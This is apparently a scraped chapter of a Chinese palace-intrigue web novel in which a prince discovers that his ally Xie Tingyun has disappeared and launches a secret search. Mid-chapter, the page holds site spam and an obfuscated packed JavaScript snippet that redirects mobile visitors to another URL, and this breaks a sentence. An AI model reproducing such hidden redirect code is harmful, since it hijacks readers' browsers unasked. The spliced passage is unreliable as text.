第228章 谢停云失踪

作品:《太子弃我殉葬?新帝他以江山为聘

    第二日,天色刚蒙蒙亮,窗外的晨雾还未散尽,萧云湛便醒了。


    他侧过身,借着熹微晨光,注视着枕边的程锦瑟。


    因为昨夜思虑过甚,耗了心神,程锦瑟睡得格外安稳,整个人都陷在的锦被里,只露出一张粉嫩的小脸。


    长而卷的睫毛在她眼下投出一小片阴影,呼吸均匀而绵长,红润的唇瓣微微张着,毫无防备,就像个不谙世事的孩子。


    萧云湛的目光不自觉地变得柔和。


    那双在外人面前永远淬着冰、含着霜的黑眸,此时只有满溢的、不欲人知的温柔。


    他伸出手,小心地拂过程锦瑟光洁的额头,将一缕散落的碎发拨到耳后。


    他的动作很轻,生怕惊醒了她。


    在她的脸颊上流连了片刻,萧云湛不舍地收回手,动作轻悄地起身洗漱。


    她最近一直心神不安,提心吊胆,夜间睡得也不安稳,今日难得睡得这样香甜,再让她多休息一会儿吧。


    穿戴整齐后,萧云湛离开了卧房,缓步进了院子。


    晨雾清冷,带着江南水汽特有的湿润,扑面而来,让人精神一振。


    他在这不大的院子里,一步一步,走得缓慢而平稳。


    若是旁人见了,只当他是寻常的晨间散步。


    只有他自己知道,这每日清晨雷打不动的行走,对他而言意味着什么。


    双腿曾经的麻木与无力,那种任人摆布、连站立都做不到的**,还残留在骨髓深处,时时提醒着他过往的蛰伏与不甘。


    如今能重新行走,能再次将命运牢牢握在自己手中,每一步对他而言,都不仅仅是移动,更是对过往的践踏,是对未来的掌控。


    在院中走了几圈,直到身体微微发热,那股自双腿传来的坚实力量感让他心中一定,他才收了步子,转身走向书房。


    按照计划,他需再赴常州衙门,与谢停云当面详谈。


    他不仅要试探此人的深浅,更要从他口中,探查更多江南的消息。


    宋恪从门外快步走入,躬身行礼。


    “去问问,谢停云是否已经到衙门了。”


    按昨日的安排,谢停云回府后,自会收到他今日要在衙门会面议事的消息。


    以他八面玲珑的行事风格,理应早就候着了。


    宋恪并没有领命离开,而是迟疑地垂下头。


    “王爷,属下刚刚得到消息……谢大人昨夜,并未回府。”


    萧云湛手中翻看文案的手一顿,抬起眼,墨黑的瞳孔里


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    没有丝毫波澜只静静地盯着宋恪。


    宋恪连忙补充道:“他并未接受我们为他安排的下人但我们的人一直在候着他据他们说谢大人昨日从我们这里离开后就一直没有回去过。”


    “派人去衙门确认了吗?”萧云湛的声音冷了下来。


    “已经派人去了正在等回话。”


    宋恪的话音刚落门外便传来一阵急促的脚步声。


    一名靖平卫快步而入单膝跪地抱拳复命:“禀王爷!衙门那边已经确认谢大人昨日至今并未露面也未曾递交任何告假文书衙门官吏的夜宿记录中也没有他的名字!”


    未到衙门露面?


    萧云湛的眉头蹙起。


    昨日与谢停云在殓房门口分别时谢停云明明说了他要到衙门处理公务……


    没去衙门谢停云又会去哪?


    又为何对他撒谎?


    思及此萧云湛站起身走到窗前负手而立看向东厢房的方向。


    清晨的冷风从窗棂吹入拂动他玄色的衣角。


    他的脑海中与谢停云相识的一幕幕如同走马灯般飞速闪过。


    从最初在应天府“偶然”的相遇到路上遇险时对他们的鼎力相助


    每一件事若是单独拎出来看都说得过去都合情合理。


    可一旦将它们全部串联起来就如同一条早已被人精心设计好的路径而他们正一步步被引着走了上去。


    除此之外还有见到他时那份始终挥之不去的熟悉感。


    当初正是这份若有若无的感觉让他放松了警惕。


    如今再想那份熟悉却更像是一只藏在暗处的手戴着一张温和无害的面具悄无声息地将他们引入了某个既定的棋局之中。


    萧云湛的眼神变得锋利。


    谢停云从一开始就绝非一个单纯的地方书令使。


    他的出现他的相助他的一切极有可能就是为他们精心安排的一个局。


    “宋恪。”


    他转过身对着宋恪沉声下令。


    “是!”


    “调动人手追查谢停云的行踪。”


    “一彻查城内所有客栈与驿站凡是近两日入住的、形迹可疑之人全部记录在案。”


    “二严密监控城外所有水陆关口留意任何试图离城的江湖人士或商队。”


    “三动用我们在江南的所有暗线立刻去查谢停云


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051608|192479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的过往履历,尤其是他大病前后的所有动向,做了什么事,见了什么人,事无巨细,不许有任何遗漏。“


    ”本王要知道,他到常州后都去了哪些地方,现在又到底在何处!”


    说着,他的语气加重了几分:“所有行动,必须在暗中进行,不得打草惊蛇。凡有任何异常,先报,不动。”


    “属下遵命!”宋恪立刻转身出去安排。


    萧云湛走到书架前,从一个暗格中取出一叠厚厚的卷宗。


    那是靖平卫近数月在江南搜集的所有情报。


    其内容相当庞杂,涉及地方士绅、漕运货栈、文人书院、大小钱庄的各种零散记录。


    他必须亲自从这些蛛丝马迹中,找出隐藏的线索。


    一时间,书房中只闻纸页翻动的“沙沙”声。


    与此同时,隔着几重庭院的清梧院内,却是另一番景象。


    程锦瑟刚洗漱完毕,正坐在餐桌前。


    桌上摆着几道清爽小菜,还有一碗熬得浓稠的粳米粥和一碟翡翠小包。


    光是看着,就觉得美味可口。


    程锦瑟却没什么胃口,她的心思已飘远。


    谢停云……


    她的脑子里满是这个名字,想的是如何找机会与他私下见一面,问清楚他究竟是谁。


    可萧云湛将韩烈留下,她的一举一动都在他的眼皮子底下,想要避开他,谈何容易。


    正当她出神时,听竹从外面走了进来,禀报道:“王妃,江家族长江崇求见,看样子……神色十分焦急。”


    江崇?


    程锦瑟略一迟疑。江家如今是他们名义上的“父亲”,他亲自上门,必有要事。


    “让他进来吧。”


    很快,江崇便进了门,一进门,连礼数都顾不上了,脸上满是汗水,对着程锦瑟连声请罪。


    “王妃恕罪!实在是族里出了大事,下官实在是没了法子,才斗胆来叨扰王妃!”


    “江族长请起,有话慢慢说。”程锦瑟示意听竹给他看座。


    江崇哪有心思坐下,他擦着额上的汗,急切地说道:“王妃有所不知,我们**族中那几位年长的族老,不知听了谁的挑唆,今日一早便联合起来**!”


    “他们……他们借着‘江清晏衣锦还乡、省亲归宗’的名头,非逼着要立刻举行祭祖大典,还要……还要请王爷亲自去宗祠上香,拜见列祖列宗!”


    “甚至已经在族中放出话来,说若是不行祭祖之礼,便是忘了根本,是大不孝,是辱没宗族!”